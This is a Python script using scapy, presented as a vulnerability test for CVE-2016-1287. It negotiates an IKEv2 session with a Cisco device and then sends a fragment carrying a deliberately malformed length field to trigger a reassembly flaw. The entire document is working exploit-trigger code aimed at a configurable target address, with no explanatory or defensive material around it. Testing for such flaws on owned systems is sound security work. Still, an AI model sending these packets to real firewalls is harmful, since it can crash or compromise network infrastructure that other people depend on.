README.md
Rendering markdown...
#!/usr/bin/env python
# Vulnerability test for CVE-2016-1287
#
# Jacob Gajek <[email protected]>
from scapy.all import *
DSTIP="1.1.1.1"
SRCIP="1.1.1.2"
LAST=0
MORE_PROPOSALS=2
MORE_TRANSFORMS=3
# IKEv2 Exchange Types
IKE_SA_INIT=34
IKE_AUTH=35
CREATE_CHILD_SA=36
INFORMATIONAL=37
# IKEv2 Header Flags
INITIATOR=0b00001000
VERSION=0b00010000
RESPONSE=0b00100000
# IKEv2 Payload Types
SECURITY_ASSOCIATION=33
KEY_EXCHANGE=34
IDENTIFICATION_INITIATOR=35
IDENTIFICATION_RESPONDER=36
CERTIFICATE=37
CERTIFICATE_REQUEST=38
AUTHENTICATION=39
NONCE=40
NOTIFY=41
DELETE=42
VENDOR_ID=43
TRAFFIC_SELECTOR_INITIATOR=44
TRAFFIC_SELECTOR_RESPONDER=45
ENCRYPTED=46
CONFIGURATION=47
EXTENSIBLE_AUTHENTICATION=48
CISCO_FRAGMENT=132
# Protocol IDs
IKE=1
AH=2
ESP=3
# Transform Types
ENCRYPTION_ALGORITHM=1
PSEUDORANDOM_FUNCTION=2
INTEGRITY_ALGORITHM=3
DIFFIE_HELLMAN=4
# Transform IDs - Encryption
ENCR_DES_IV64=1
ENCR_DES=2
ENCR_3DES=3
ENCR_RC5=4
ENCR_IDEA=5
ENCR_CAST=6
ENCR_BLOWFISH=7
ENR_3IDEA=8
ENCR_DES_IV32=9
ENCR_NULL=11
ENCR_AES_CBC=12
ENCR_AES_CTR=13
# Transform IDs - PRF
PRF_HMAC_MD5=1
PRF_HMAC_SHA1=2
PRF_HMAC_TIGER=3
PRF_AES128_XCBC=4
# Transform IDs - Integrity
AUTH_HMAC_MD5_96=1
AUTH_HMAC_SHA1_96=2
AUTH_DES_MAC=3
AUTH_KPDK_MD5=4
AUTH_AES_XCBC_96=5
# Transform IDs - Diffie-Hellman
DH_GROUP1=1
DH_GROUP2=2
DH_GROUP5=5
# Vendor IDs
CISCO_PRODUCTID="CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
CISCO_FRAGMENTATION="\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
# Message ID
MSGID=0
def encode_byte(value):
return chr(value & 0xff)
def encode_word(value):
return (chr((value & 0xff00) >> 8) +
chr((value & 0x00ff)))
def encode_dword(value):
return (chr((value & 0xff000000) >> 24) +
chr((value & 0x00ff0000) >> 16) +
chr((value & 0x0000ff00) >> 8) +
chr((value & 0x000000ff)))
def encode_qword(value):
return (chr((value & 0xff00000000000000) >> 56) +
chr((value & 0x00ff000000000000) >> 48) +
chr((value & 0x0000ff0000000000) >> 40) +
chr((value & 0x000000ff00000000) >> 32) +
chr((value & 0x00000000ff000000) >> 24) +
chr((value & 0x0000000000ff0000) >> 16) +
chr((value & 0x000000000000ff00) >> 8) +
chr((value & 0x00000000000000ff)))
def Transform(last_more, transform_type, transform_id, attributes=""):
return (encode_byte(last_more) +
encode_byte(0x00) +
encode_word(8 + len(attributes)) +
encode_byte(transform_type) +
encode_byte(0x00) +
encode_word(transform_id) +
attributes)
def Proposal(last_more, proposal_seq, protocol_id, num_transforms, transforms):
return (encode_byte(last_more) +
encode_byte(0x00) +
encode_word(8 + len(transforms)) +
encode_byte(proposal_seq) +
encode_byte(protocol_id) +
encode_byte(0x00) +
encode_byte(num_transforms) +
transforms)
def Payload(next_payload, data):
return (encode_byte(next_payload) +
encode_byte(0x00) +
encode_word(4 + len(data)) +
data)
def Fragment(next_payload, fragment_id, sequence_num, last_fragment, data):
return (encode_byte(next_payload) +
encode_byte(0x00) +
encode_word(8 + len(data)) +
encode_word(fragment_id) +
encode_byte(sequence_num) +
encode_byte(last_fragment) +
data)
def BadFragment(next_payload, fragment_id, sequence_num, last_fragment, data):
return (encode_byte(next_payload) +
encode_byte(0x00) +
encode_word(0x01) +
encode_word(fragment_id) +
encode_byte(sequence_num) +
encode_byte(last_fragment) +
data)
def IKEv2(spi_initiator, spi_responder, next_payload, exchange_type, flags, payloads):
return (spi_initiator +
spi_responder +
encode_byte(next_payload) +
encode_byte(0x20) +
encode_byte(exchange_type) +
encode_byte(flags) +
encode_dword(MSGID) +
encode_dword(28 + len(payloads)) +
payloads)
def sendFragment(fragment):
data = IKEv2(spi_initiator, spi_responder, CISCO_FRAGMENT, IKE_AUTH, INITIATOR, fragment)
packet = IP(src=SRCIP, dst=DSTIP) / UDP(sport=5000, dport=500) / data
send(packet)
# Construct and send IKE_SA_INIT exchange to enable fragmentation support
transforms = (Transform(MORE_TRANSFORMS, ENCRYPTION_ALGORITHM, ENCR_3DES) +
Transform(MORE_TRANSFORMS, PSEUDORANDOM_FUNCTION, PRF_HMAC_SHA1) +
Transform(MORE_TRANSFORMS, INTEGRITY_ALGORITHM, AUTH_HMAC_SHA1_96) +
Transform(LAST, DIFFIE_HELLMAN, DH_GROUP2))
proposals = Proposal(LAST, 1, IKE, 4, transforms)
key_exchange = "\x00\x02\x00\x00" + "\x00" * 64 + "\x01\x02\x03\x04\x05\x06\x07\x08" * 8
nonce = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16"
spi_initiator = "\x01\x02\x03\x04\x05\x06\x07\x08"
spi_responder = "\x00\x00\x00\x00\x00\x00\x00\x00"
payloads = (Payload(KEY_EXCHANGE, proposals) +
Payload(NONCE, key_exchange) +
Payload(VENDOR_ID, nonce) +
Payload(VENDOR_ID, CISCO_PRODUCTID) +
Payload(LAST, CISCO_FRAGMENTATION))
data = IKEv2(spi_initiator, spi_responder, SECURITY_ASSOCIATION, IKE_SA_INIT, INITIATOR, payloads)
packet = IP(src=SRCIP, dst=DSTIP) / UDP(sport=5000, dport=500) / data
answer = sr1(packet)
spi_responder = answer[Raw].load[8:16]
MSGID += 1
# Send fragments
fragment = Fragment(CERTIFICATE, 1234, 1, 0, "This fragment has a normal length")
sendFragment(fragment)
fragment = BadFragment(CERTIFICATE, 1234, 2, 1, "This fragment has a bad length")
sendFragment(fragment)